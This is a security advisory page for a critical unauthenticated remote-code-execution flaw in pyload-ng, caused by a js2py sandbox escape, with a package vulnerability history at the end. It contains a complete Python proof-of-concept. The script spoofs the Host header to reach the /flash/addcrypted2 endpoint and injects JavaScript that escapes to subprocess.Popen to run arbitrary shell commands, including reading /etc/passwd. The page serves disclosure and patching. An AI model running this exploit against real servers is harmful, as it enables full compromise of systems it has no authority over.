Critical

pyload-ng vulnerable to RCE with js2py sandbox escape

  • Disclosed: 09.09.2024
  • Updated: 11.10.2026 13:17

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

python
import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
   let result;
   for(let i in o.__subclasses__()) {
       let item = o.__subclasses__()[i]
       if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
           return item
       }
       if(item.__name__ != "type" && (result = findpopen(item))) {
           return result
       }
   }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
   return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

   s = socket.socket()
   s.connect((host, port))

   s.send(request)
   response = s.recv(1024).decode()
   print(response)

if __name__ == "__main__":
   main()

Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pyload-ng <= 0.5.0b3.dev85 no fix

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
Python (PyPI)
Package
pyload-ng
Disclosed
09.09.2024
Updated
11.10.2026 13:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-r9pp-r4xf-597r - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-499 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: pyload-ng

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
01.2023 10.2026
Without a fix
24
Exploited in attacks
0

Severity breakdown

  • Critical 9
  • High 23
  • Medium 25
  • Low 1

Disclosures per year

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Severity:
  1. pyload-ng vulnerable to RCE with js2py sandbox escape this entry
    Critical · 9.8 CVE-2024-39205 <= 0.5.0b3.dev85 no fix
  2. High · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 no fix
  3. High · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  4. High · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  5. High · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 no fix
  6. High · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 no fix
  7. High · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  8. High · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  9. High CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
Show more (11) Showing 21 of 32

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